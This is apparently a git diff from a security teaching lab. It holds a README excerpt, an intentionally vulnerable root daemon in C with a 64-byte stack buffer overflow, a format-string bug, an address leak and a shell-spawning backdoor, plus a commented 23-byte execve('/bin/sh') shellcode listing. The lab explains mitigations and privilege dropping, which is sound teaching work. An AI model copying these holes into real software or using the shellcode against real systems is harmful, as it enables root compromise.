Crash reporter: on SIGSEGV the daemon logs the faulting address, RIP and RSP.
A `ret` into non-canonical `0x4141…` faults at the `ret` itself (RIP like
`0x4028xx`, `si_addr=(nil)`) — worth knowing before you misread a log line as
a NULL dereference.
---
## Why the shellcode is 23 bytes, not 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
The SUID lab needs `setreuid(0,0)` before this. This lab does not, for the
reason repeated throughout: **ruid is already 0** because root started the
process. `make verify` proves the bytes in `foowosc.c` are byte-for-byte what
`shellcode.S` assembles to.
---
## Mitigations — what `make hardened` changes
Hardened build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| technique | vulnerable `foowosd` | hardened `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root shell (executable stack) | SIGSEGV at the canary check / NX |
| `ret2win` / `ret2libc` | root shell | canary aborts `ret` — but note: a *PIE* build also makes those addresses random |
| `demo` | SIGSEGV, logged | SIGSEGV, logged |
`make test-hardened` demonstrates this live. The important observation is not
just that the mitigations killed the techniques — it is that they did **not**
make the daemon "not root". A hardened build that is still *started* as root
is still a root daemon; the mitigation only raises the bar for the attacker.
Least privilege (`drop_privs()`) and memory safety are two different bugs,
and a daemon that does not need root should not have it.
---
## Safety rails (same policy as the SUID lab)
- **Loopback only.** foowosd refuses any bind other than `127.0.0.1` /
`localhost` / `::1` unless you pass `-L`. A root daemon on a real interface
is a *remote* root service. `-L` exists solely to show the guard; do not
use it on anything that matters.
- **State is logged loudly.** Startup prints `ruid/euid` and whether this is
a root process, so you always know which exploit outcome to expect.
- **Verdicts come from exit statuses** in `make test*` (the pty harness's
return code), never from grepping its stdout — greppable output lies.
- **pty must run cooked + ECHO off** or the harness echoes its own command
line and fakes the marker. The harness turns ECHO off and keeps ECHONL on.
- **Cleanup ritual:** `make stop` after every session. If the daemon is
root-owned, `stop` tells you to run `sudo pkill -x foowosd`.
- Never run this on any host you care about. It exists to hand out `uid=0`
shells over the loopback interface.
---
## Exercises
1. Run `make run` (user daemon), then `./foowosc -t shellcode`. Why is the
shell not root? (Check `ids=` in the banner — foowosc tells you before you
even connect.)
2. `make stop && sudo make run-root && make test-root`. Explain, from the
banner line, why all four techniques now yield `uid=0(root)`.
3. In `foowosd.c`, find `drop_privs()` and read *why the order* of
`setgroups → setgid → setuid` matters. Decide where in `main()` it would
belong, and what the lab's exploit surface becomes once it is actually
called.
4. Compute `rip_off` by hand from `objdump -d foowosd`: find `buf`'s
`lea -0xNN(%rbp)` inside `vulnerable_handler`, then `NN + 8`. foowosc does
exactly this; check its math against your own.
5. `make hardened && make test-hardened`. Which technique falls to the canary
and which to NX? Why does hardening not change what `make status` reports
about the *process*?
6. Compare the two labs' shellcodes: 23 bytes here, 32 for foosd. What does
the extra 9 bytes do, and why is it only needed in the SUID case?
7. Read `become_shell()`'s comment about the single read cursor. Recreate the
failure mode mentally: two readers on one socket means the login shell eats
one byte per chunk — "uid=1000…" arrives as "id=1000…". Why can a relay
process never have this bug?
---
## Files
```
foowosd.c the vulnerable root daemon (every line commented)
foowosc.c the exploit (every line commented)
shellcode.S reference assembly for the 23-byte payload
tests/pty_wosuid_test.c the pty harness (marker + strict id-shape checks)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Sibling labs: `../food.c`/`../fooc.c` (user-level baseline, port 2342) and
`../suid/` (SUID-root daemon `foosd`/`foosc`, port 2343). Ports are distinct
on purpose — you can run all three at once and cross-check their banners'
`ids=` lines.

1130
wosuid/foowosc.c Normal file

File diff suppressed because it is too large Load diff

669
wosuid/foowosd.c Normal file
View file

@ -0,0 +1,669 @@
/*
* ============================================================================
* foowosd.c -- "foowosd": an INTENTIONALLY VULNERABLE daemon that becomes
* root the honest way: by being STARTED as root.
* ============================================================================
*
* PURPOSE
* -------
* This is the "no setuid bit" companion to the other two labs:
*
* food / fooc a plain daemon: the overflow gives you a user shell
* foosd / foosc a SETUID-root daemon: root arrives via the +s bit
* foowosd/ foowosc THIS one: no +s bit anywhere. Root arrives because
* somebody STARTED the process as root.
*
* The setuid bit is not the only way a process ends up privileged. Any
* daemon launched by root -- a `sudo ./foowosd`, a systemd unit with
* `User=root`, an init script -- has real uid 0, effective uid 0, and saved
* uid 0. To the kernel and to every access-control check it makes, that
* process IS root, indistinguishable from one that arrived there via +s.
* And an overflow in a root process is a root exploit, filesystem
* attributes notwithstanding.
*
* THAT is the lesson of this file: the setuid bit is a *transfer vehicle*
* for privilege, not the privilege itself. "I don't have SUID binaries" is
* NOT the same as "I am not vulnerable to privilege escalation". If your
* daemon runs as root and it has a reachable memory-safety bug, you have a
* root-exploit -- with or without the letter 's' in anyone's file mode.
*
* WHY THE EXPLOIT HERE IS DIFFERENT FROM THE SUID LAB -- ruid
* ----------------------------------------------------------
* A setuid-root binary gives the process euid 0 but LEAVES ruid at the
* launching user's id (1000). bash and dash notice `euid != ruid` at
* startup and reset euid = ruid -- the shell's own guard against this
* attack -- which is why foosc's shellcode had to call setreuid(0,0) first.
*
* A daemon *started* as root has ruid == euid == 0. There is no mismatch
* for the shell's guard to notice, so a plain `execve("/bin/sh")` keeps
* root -- no setreuid needed. The same 23 bytes that pwnd `food` in the
* parent lab, byte for byte, open a *root* shell against this daemon,
* because the process they run in is already fully root. The shellcode
* chosen for foowosc therefore does not contain a setreuid prefix.
*
* SAFETY RAILS (identical policy to the SUID lab -- a root daemon is no
* less dangerous because it got there without +s)
* -------------------------------------------------
* * Binds 127.0.0.1 by default and REFUSES a non-loopback bind unless you
* pass -L. A root daemon on a real interface is a remote root service.
* * Logs at startup whether it is running as root or as a normal user, so
* you always know which exploit outcome to expect.
* * Same deliberate bugs as food/foosd, so the whole toolchain
* (objdump-based offset discovery, leak parsing, alignment fix, pty
* harness) carries over unchanged.
*
* Build: make foowosd
* make run-root (needs sudo; starts the daemon as real root)
* make run-root-ns (no sudo: user-namespace root, for verification)
* make run (baseline: starts it as your normal user)
*
* HOW TO BECOME ROOT HERE -- and how NOT to
* -----------------------------------------
* START AS ROOT: sudo make run-root -> ruid=0 euid=0
* START AS ROOT (ns): make run-root-ns -> namespaced 0/0 (test-only)
* PLAIN USER: make run -> ruid=1000 euid=1000
*
* The exploit behaves the same in all three cases -- it just yields a root
* shell in the first two. That "the agency, not the attribute, is what
* matters" property is the whole point of this lab.
*
* THE BUILD FLAGS (same deliberate removals as the other two labs)
* ----------------------------------------------------------------
* -fno-stack-protector no canary: the overflow is not detected
* -no-pie fixed addresses: win() is a constant
* -z execstack executable stack: shellcode can run
*
* `make hardened` re-enables all three; the maliciously shareable lesson is
* that those flags do nothing about the "running as root" design decision.
*
* Usage: ./foowosd [-h HOST] [-p PORT] [-d] [-L]
* ============================================================================
*/
/* Request the gnu decls we need (dprintf, etc.). */
#define _GNU_SOURCE
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
#include <errno.h> /* errno, strerror(). */
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
#include <grp.h> /* setgroups(): part of the (never-called) privilege
* drop -- supplementary groups must go first. */
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
#include <signal.h> /* signal(), sigaction(). */
#include <stdarg.h> /* va_list for our log wrapper. */
#include <stdint.h> /* uint16_t. */
#include <stdio.h> /* dprintf, snprintf. */
#include <stdlib.h> /* atoi, _exit. */
#include <string.h> /* memset, strncmp, memchr, strlen. */
#include <sys/socket.h>/* socket, bind, listen, accept. */
#include <sys/stat.h> /* umask. */
#include <sys/types.h> /* ssize_t, pid_t. */
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
#include <sys/wait.h> /* waitpid(). */
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
/* ------------------------------------------------------------------------- */
/* Configuration constants */
/* ------------------------------------------------------------------------- */
/* Port. 2344 keeps this lab clear of food (2342) and foosd (2343). It is
* above 1024 on purpose: binding it needs NO privilege, so root here is
* pure design smell -- a correct daemon would drop privileges after bind,
* and the lab's whole point is what happens when it does not. */
#define FOOWOSD_PORT 2344
/* Loopback is the ONLY default. -L is required to go further. */
#define FOOWOSD_HOST "127.0.0.1"
/* Size of the overflowed buffer. Same shape as food/foosd so the shared
* objdump-based offset detection works unchanged. */
#define FOOWOSD_BUFSZ 64
/* How much read() accepts. The mismatch with FOOWOSD_BUFSZ IS the bug. */
#define FOOWOSD_READMAX 512
/* Size of the second (format-string demo) buffer. */
#define FOOWOSD_LOGSZ 128
/* ------------------------------------------------------------------------- */
/* Logging (same design as the other labs: the log never reaches the attacker)*/
/* ------------------------------------------------------------------------- */
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
* memory or crashes a child never learns internal paths or addresses from
* logs (and never mixes its own bytes with ours). */
static int g_logfd = -1;
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
* write() per line, so forked children cannot interleave mid-line. */
static void logmsg(const char *fmt, ...)
{
char line[1024]; /* Whole-message scratch. */
va_list ap; /* Variadic argument cursor. */
int n; /* Bytes formatted. */
/* va_start MUST precede any use of ap. An uninitialised va_list makes
* vsnprintf walk wild stack memory -- a real bug that was hit in the
* earlier food.c, hence the comment. */
va_start(ap, fmt);
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
va_end(ap); /* Always pair va_start with va_end. */
if (n < 0)
return;
if (g_logfd >= 0)
dprintf(g_logfd, "[foowosd %d] %s\n", (int)getpid(), line);
}
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
* hold them next to the deliberately broken read() in vulnerable_handler()
* and see the difference: these loop until done and check every result. */
__attribute__((unused))
static ssize_t read_exact(int fd, void *buf, size_t n)
{
size_t got = 0;
while (got < n) {
ssize_t r = read(fd, (char *)buf + got, n - got);
if (r < 0) {
if (errno == EINTR)
continue;
return -1;
}
if (r == 0)
break;
got += (size_t)r;
}
return (ssize_t)got;
}
static ssize_t write_all(int fd, const void *buf, size_t n)
{
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
if (w <= 0) {
if (w < 0 && errno == EINTR)
continue;
return -1;
}
sent += (size_t)w;
}
return (ssize_t)sent;
}
/* ------------------------------------------------------------------------- */
/* The ret2win target */
/* ------------------------------------------------------------------------- */
/*
* win() -- the "easy" backdoor. The same function as in food.c and foosd.c,
* and the difference between this lab and the SUID lab is contained in it.
*
* In the SUID lab this exact code produced a NON-root shell, because foosd
* had euid 0 but ruid 1000, and bash reset euid = ruid at startup.
*
* Here the daemon is STARTED as root, so at this instant ruid == euid == 0.
* fork() inherits both ids, execve() changes neither, and bash starts with
* equal uid 0s -- its guard has nothing to reset, so execve("/bin/sh") keeps
* root. "spawn a shell" works against a genuinely-root process; it only
* fails against the half-root (euid-only) state the setuid bit produces.
* That asymmetry -- why one lab needs setreuid and this one does not -- is
* the entire technical heart of the two labs side by side.
*/
__attribute__((noinline, used))
static void win(void)
{
pid_t pid;
logmsg("win() reached -- exec'ing /bin/sh (ruid==euid here, so the shell "
"stays root; contrast with foosd where ruid stayed 1000)");
/* Fork so the daemon's accept-loop child can be reaped and return. */
pid = fork();
if (pid < 0) {
logmsg("win(): fork() failed: %s", strerror(errno));
_exit(1);
}
if (pid > 0) {
waitpid(pid, NULL, 0);
/* Must NOT return: that would pop attacker bytes as the next RIP. */
_exit(0);
}
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
execl("/bin/sh", "sh", (char *)NULL);
_exit(127); /* Only reached if exec failed. */
}
/* ------------------------------------------------------------------------- */
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
/* ------------------------------------------------------------------------- */
__attribute__((noinline, used))
static void vulnerable_handler(int fd)
{
char buf[FOOWOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
char line[FOOWOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
ssize_t n; /* Bytes actually read. */
/*
* The BUF= leak -- the same deliberate CWE-200 disclosure as the other
* labs. The stack is ASLR-randomised; without this the shellcode could
* not find itself. Real-world leaks of this kind come from %p format
* bugs, crash dumps, debug endpoints, or serialised uninitialised
* pointers.
*
* FIX: never print addresses to untrusted clients.
*/
dprintf(fd, "BUF=%p\n", (void *)buf);
/*
* ====================================================================
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
* ====================================================================
* Identical to the other labs: 512 bytes are accepted into a 64-byte
* array, so the attacker writes 448 bytes past the end, overwriting the
* saved frame pointer and — 8 bytes later — the saved return address.
* On return, `ret` jumps wherever the attacker said:
*
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
*
* The ONLY difference from food is *what that means*: here the hijacked
* process has real-and-effective uid 0 (it was started as root), so
* "attacker controls RIP" becomes "attacker controls root's RIP" --
* with no setuid bit anywhere on this filesystem.
*
* FIXES (in increasing order of strength):
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
* 2. -fstack-protector-strong (canary aborts `ret`)
* 3. do not take network input into fixed stack buffers at all
* And SEPARATELY: never run this daemon as root; and if you must, drop
* privileges the moment you are done binding (see drop_privs()). Memory
* safety and least privilege are two different bugs; fix both.
*/
n = read(fd, buf, FOOWOSD_READMAX); /* <-- CWE-120, THE bug. */
if (n <= 0)
return;
/* Echo back a truncated copy so you can watch the overflow in the log.
* Clamping for display does not undo the overwrite that already happened. */
{
ssize_t show = n < FOOWOSD_BUFSZ ? n : FOOWOSD_BUFSZ;
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
(void)write_all(fd, buf, (size_t)show);
}
/*
* ====================================================================
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
* ====================================================================
* Same as the other labs: attacker '%'-specifiers in `buf` could read
* stack words with %x or write memory with %n. Here the process is
* root, so a %n is a write-what-where primitive IN A ROOT PROCESS. It
* runs only on a copy in `line`, and only if the payload contains '%'.
*
* FIX: printf("%s", buf), never printf(buf).
*/
if (memchr(buf, '%', (size_t)n) != NULL) {
snprintf(line, sizeof(line), "%.*s", (int)FOOWOSD_LOGSZ - 1, buf);
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
(void)write_all(fd, line, strlen(line));
}
/* On return the (attacker-controlled) saved return address becomes RIP. */
}
/* ------------------------------------------------------------------------- */
/* Crash reporter (same rationale as the other labs: a crash should tell you */
/* it was malicious; the fault address is the return address the client */
/* supplied). */
/* ------------------------------------------------------------------------- */
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
{
ucontext_t *uc = (ucontext_t *)ucv;
unsigned long rip = 0, rsp = 0;
if (uc != NULL) {
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
}
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
"supplied)", rip, rsp);
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
"if it is an address INSIDE vulnerable_handler itself it IS the "
"`ret` instruction: a ret into a non-canonical address (e.g. "
"0x4141414141414141) faults at the ret, not at the target.");
/* Re-raise with the default disposition so the process still dies, with
* the correct status, rather than re-executing the faulting instruction
* forever (returning from this handler would do exactly that). */
signal(sig, SIG_DFL);
raise(sig);
}
static void install_crash_reporter(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGSEGV, &sa, NULL) < 0)
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
if (sigaction(SIGBUS, &sa, NULL) < 0)
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
}
/* ------------------------------------------------------------------------- */
/* fd handling */
/* ------------------------------------------------------------------------- */
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
* every technique (ret2win, ret2libc, shellcode) produces a shell that
* automatically speaks over the network. */
static void prepare_client_fds(int fd)
{
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
}
/* ------------------------------------------------------------------------- */
/* THE INFORMATION LEAK */
/* ------------------------------------------------------------------------- */
/*
* send_leaks() -- tell the attacker:
*
* ids= this process's euid/ruid. THE "AM I ROOT ?" CHECK.
* foowosc prints a loud warning when euid is not 0,
* because without a root daemon there is no root shell
* and the user would otherwise think the exploit broke.
* leak stack=... an address on the stack, for the shellcode
* leak libc=... the real address of read() inside libc, for ret2libc
*
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
* harness proves a live shell by grepping the session transcript for the
* strict `id`-output shape "uid=NNN(", and a banner containing "uid=" as
* part of "euid="/"ruid=" would itself satisfy a careless grep. This kind of
* "the probe and the answer must not share a signature" thinking is what you
* do when you write real assertions about untrusted output.
*/
static void send_leaks(int fd)
{
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
libc_read = &read; /* &read resolves through the GOT to libc. */
dprintf(fd, "FOOWOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
(int)geteuid(), (int)getuid(),
(void *)&stack_marker, (void *)libc_read);
}
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
* -------------------------------------------
* drop_privs() -- what a well-written daemon would do the moment it no
* longer needs root. Two mistakes to notice, both immune to every compiler
* mitigation:
*
* * ORDER: setgroups() before setgid() before setuid(), and ONLY AFTER
* binding the port and opening any root-only files. Drop first and the
* whole point of root is gone.
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
* process may later regain privileges via the saved id otherwise).
*
* Port 2344 needs no privilege, so the correct design would call this right
* after the listen() succeeds. In this lab it is deliberately absent from
* main(), because the lab NEEDS the accept-loop children to stay root. The
* commented function is your diff: the two missing calls at the point marked
* "*** see drop_privs() ***" below are the entire exploit surface (Bug #3,
* CWE-271: privilege not dropped before handling untrusted input).
*/
__attribute__((unused))
static void drop_privs(void)
{
/* Order matters: setgroups() first (a non-root user may not), then
* setgid(), then setuid(). Never the reverse. */
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
(void)setgid(1000); /* Lose group privileges. */
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
_exit(1); /* If we cannot drop, FAIL CLOSED. */
/* Verify. getuid()/geteuid() are cheap; a privileged program whose drop
* failed silently is a root hole wearing a costume. */
if (getuid() != 1000 || geteuid() != 1000)
_exit(1);
}
/* ------------------------------------------------------------------------- */
/* Per-connection handling */
/* ------------------------------------------------------------------------- */
static void handle_client(int fd)
{
static const char banner[] =
"FOOWOSD 1.0 - deliberately vulnerable daemon (no setuid bit: root is\n"
"here because this process was started as root).\n"
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
send_leaks(STDOUT_FILENO);
vulnerable_handler(STDOUT_FILENO);
/* Only reached when the payload did NOT hijack RIP. */
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
}
/* ------------------------------------------------------------------------- */
/* The server loop */
/* ------------------------------------------------------------------------- */
static int make_listener(const char *host, int port)
{
struct sockaddr_in addr;
int fd;
int one = 1;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
logmsg("socket() failed: %s", strerror(errno));
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
logmsg("bad bind address: %s", host);
close(fd);
return -1;
}
if (port < 1 || port > 65535) {
logmsg("port out of range: %d", port);
close(fd);
return -1;
}
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
close(fd);
return -1;
}
if (listen(fd, 16) < 0) {
logmsg("listen() failed: %s", strerror(errno));
close(fd);
return -1;
}
return fd;
}
static void usage(const char *argv0)
{
fprintf(stderr,
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
"\n"
" -h HOST address to bind (default %s -- loopback only!\n"
" -L is required to bind anywhere else)\n"
" -p PORT TCP port to listen on (default %d)\n"
" -d daemonise: fork into the background\n"
" -L ALLOW binding to a non-loopback address (dangerous:\n"
" this daemon exists to be exploited as ROOT)\n"
"\n"
"This lab gives you a ROOT shell only when the daemon was STARTED\n"
"as root (sudo make run-root). There is no setuid bit anywhere.\n"
"Do not run it on any host that matters, never bind it beyond\n"
"loopback, and do not leave it running as root.\n",
argv0, FOOWOSD_HOST, FOOWOSD_PORT);
}
int main(int argc, char **argv)
{
const char *host = FOOWOSD_HOST; /* Bind address. */
int port = FOOWOSD_PORT; /* Bind port. */
int daemonise = 0; /* -d. */
int allow_nonloopback = 0; /* -L. The root-daemon safety guard. */
int lfd; /* Listening socket. */
int i; /* getopt() index. */
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
switch (i) {
case 'h': host = optarg; break;
case 'p': port = atoi(optarg); break;
case 'd': daemonise = 1; break;
case 'L': allow_nonloopback = 1; break;
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
usage(argv[0]);
return 2;
default: usage(argv[0]);
return 2;
}
}
/*
* THE ROOT-DAEMON SAFETY GUARD.
*
* A daemon that is running as root (it was started as root -- there is
* no +s bit here, so this state is easy to forget) and listens on a
* non-loopback interface is a remote root service. Refuse by default,
* document the exception, fail loudly.
*/
if (!allow_nonloopback &&
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
strcmp(host, "::1") != 0)) {
fprintf(stderr,
"foowosd: refusing to bind %s: this daemon may be running as\n"
" root. Loopback is the only permitted default. If you\n"
" really know what you are doing, pass -L.\n", host);
return 1;
}
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
g_logfd = dup(STDOUT_FILENO);
if (g_logfd < 0) {
g_logfd = STDOUT_FILENO;
fprintf(stderr, "foowosd: warning: could not reserve a log descriptor\n");
}
/*
* SELF-DIAGNOSIS OF THE "AM I ROOT ?" STATE -- printed once, to the log.
*
* ruid==euid==0 -> started as root: the exploit gives root
* ruid==euid!=0 -> started as a normal user: baseline only
*
* foowosc reads euid over the socket and can warn too; this log line is
* for you at the console.
*/
logmsg("startup: ruid=%d euid=%d %s",
(int)getuid(), (int)geteuid(),
(geteuid() == 0) ? "-> ROOT process"
: "-> NOT root (start as root: make run-root)");
if (geteuid() == 0)
logmsg("startup: WARNING: this daemon is running as root -- no setuid "
"bit involved, just a root-started process. Port %d does not "
"need root; see drop_privs().", port);
lfd = make_listener(host, port);
if (lfd < 0)
return 1;
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
"VULNERABLE", host, port, (int)getpid());
if (daemonise) {
/* Standard double fork so we cannot acquire a controlling terminal. */
pid_t p1 = fork();
if (p1 < 0) { perror("fork"); return 1; }
if (p1 > 0) _exit(0);
if (setsid() < 0) perror("setsid");
pid_t p2 = fork();
if (p2 < 0) { perror("fork"); return 1; }
if (p2 > 0) _exit(0);
if (chdir("/") < 0) perror("chdir");
umask(022);
}
/* ---- The accept loop. Each child serves one connection. The children
* stay root because the parent was started as root. ---- */
for (;;) {
struct sockaddr_in peer;
socklen_t plen = sizeof(peer);
int cfd;
pid_t pid;
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
if (cfd < 0) {
if (errno == EINTR || errno == ECONNABORTED)
continue;
logmsg("accept() failed: %s", strerror(errno));
continue;
}
/*
* Fork per connection. The child KEEPS the root privileges -- that
* is Bug #3 in this lab, "no privilege drop before handling
* untrusted input" (CWE-271). See drop_privs() above for the exact
* calls a well-written daemon would make at this point, and why the
* order of those three calls is security-critical.
*/
pid = fork();
if (pid < 0) {
logmsg("fork() failed: %s", strerror(errno));
close(cfd);
continue;
}
if (pid == 0) {
close(lfd);
handle_client(cfd);
_exit(0);
}
close(cfd);
}
}

124
wosuid/shellcode.S Normal file
View file

@ -0,0 +1,124 @@
; ============================================================================
; shellcode.S -- the reference shellcode for the wosuid lab (foowosc)
; ============================================================================
;
; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
; array in foowosc.c is exactly the machine code you would get from
; assembling these instructions. It is not used by the exploit, which carries
; the bytes inline so it has no runtime dependency on nasm.
;
; make verify-shellcode assembles this and diffs it against foowosc.c
;
; WHAT IT DOES
; ------------
; execve("/bin/sh", argv = NULL, envp = NULL)
;
; 23 bytes that turn the process into a shell -- byte-identical to the
; shellcode in the parent lab's fooc.c.
;
; WHY 23 BYTES AND NOT 32 -- the difference between the labs, in one payload
; ---------------------------------------------------------------------------
; The SUID lab (foosd/foosc) needed a 32-byte shellcode that prefixed
; setreuid(0,0). Why:
;
; * a setuid-root binary gives the process euid 0 but LEAVES ruid = the
; launching user (1000);
; * bash (and dash) check `euid != ruid` at startup and, absent `-p`,
; reset euid = ruid -- the shell's own guard against this attack;
; * so a plain execve("/bin/sh") from a *setuid* process yields a shell
; that has quietly dropped root; the real uid must be cleared first.
;
; THIS lab deliberately has NO setuid bit. The daemon is root because it was
; STARTED as root: real uid 0, effective uid 0, saved uid 0. fork() inherits
; all three, execve() changes none of them, and bash starts with equal uid 0s
; -- the guard has nothing to reset, so the plain execve keeps root. The
; same 23 bytes that pwnd the user-level `food` daemon in the parent lab
; open a ROOT shell here, because the process they run inside is already
; fully root.
;
; The setuid bit transfers privilege; it is not the privilege itself. When a
; root-started daemon is exploited, the outcome is identical to exploiting a
; setuid binary -- minus the need to fiddle with the real uid.
;
; Register usage follows the System V AMD64 ABI: first integer args in
; rdi, rsi, rdx; syscall number in rax.
; ============================================================================
BITS 64
; section .text -- mark it executable, the default, so `nasm -f bin` emits
; the instruction bytes with no ELF wrapper around them.
section .text
; ---------------------------------------------------------------------------
; xor esi, esi
; rsi = 0 -> argv = NULL
;
; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5)
; and the classic x86 idiom for producing a zero without a memory operand.
; ---------------------------------------------------------------------------
xor esi, esi
; ---------------------------------------------------------------------------
; xor edx, edx
; rdx = 0 -> envp = NULL
;
; argv = NULL lets the kernel synthesise argv[0] from the pathname, and
; envp = NULL gives the new program an empty environment. The shell runs
; fine but with no PATH, so `id` and `uname` work and bare `vi` does not --
; a small detail that surprises people, and the reason the relayed local
; side of the exploit never relies on a PATH-based command.
; ---------------------------------------------------------------------------
xor edx, edx
; ---------------------------------------------------------------------------
; movabs rdi, 0x68732f6e69622f
; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
;
; Read the immediate right-to-left as bytes and it spells the string out.
; That packing is the whole trick: eight bytes of payload in a ten-byte
; instruction, no data section, no relocation, no alignment padding.
; ---------------------------------------------------------------------------
movabs rdi, 0x68732f6e69622f
; ---------------------------------------------------------------------------
; push rdi
; Put those eight bytes on the stack, where a string has to live so that a
; register can point at it. The stack is writable and lives at an
; attacker-chosen address, so this is the position-independent way to
; materialise a string constant inside a payload that has no .data.
; ---------------------------------------------------------------------------
push rdi
; ---------------------------------------------------------------------------
; mov rdi, rsp
; rdi = the address of the string we just pushed = argv[0] as well as the
; pathname. Reusing one buffer for both is legal; the kernel only reads the
; pathname before it sets up the new stack, and by then argv[0] is copied.
; ---------------------------------------------------------------------------
mov rdi, rsp
; ---------------------------------------------------------------------------
; push 0x3b
; pop rax
; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
;
; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
; 1 = write, 2 = open, ..., 59 = execve. `push 0x3b; pop rax` is the
; idiomatic 2-byte way to load a small constant; `mov eax, 0x3b` is 5.
; ---------------------------------------------------------------------------
push 0x3b
pop rax
; ---------------------------------------------------------------------------
; syscall
; Trap into the kernel. On return, either we are a shell (success) or we
; are handed a -errno in rax and fall off the end of the payload (failure).
; ---------------------------------------------------------------------------
syscall
; Note what is NOT here:
; * no setreuid -- the process was started as root, so ruid is already 0
; (compare the 32-byte variant in the suid lab, which had to clear it).
; * no `ret` -- execve does not return.
; * no `nop` sled -- we jump straight to the first byte.

View file

@ -0,0 +1,278 @@
/*
* pty_wosuid_test.c -- test harness: drive ./foowosc through a
* pseudo-terminal so the interactive shell it hands over to has a real
* terminal.
*
* Why a pty at all: the exploit's last act is to relay the user's terminal
* to the shell running on the victim. Anything already sitting on the real
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
* commands must arrive via a real tty. This harness supplies one.
*
* What it proves, and in what order:
*
* SHELL the marker literal comes back AND real `id` output appears.
* Both are required because the marker alone also occurs in the
* command line we typed *to* the pty, so any harness that does not
* disable echo (see below) scores a false positive.
*
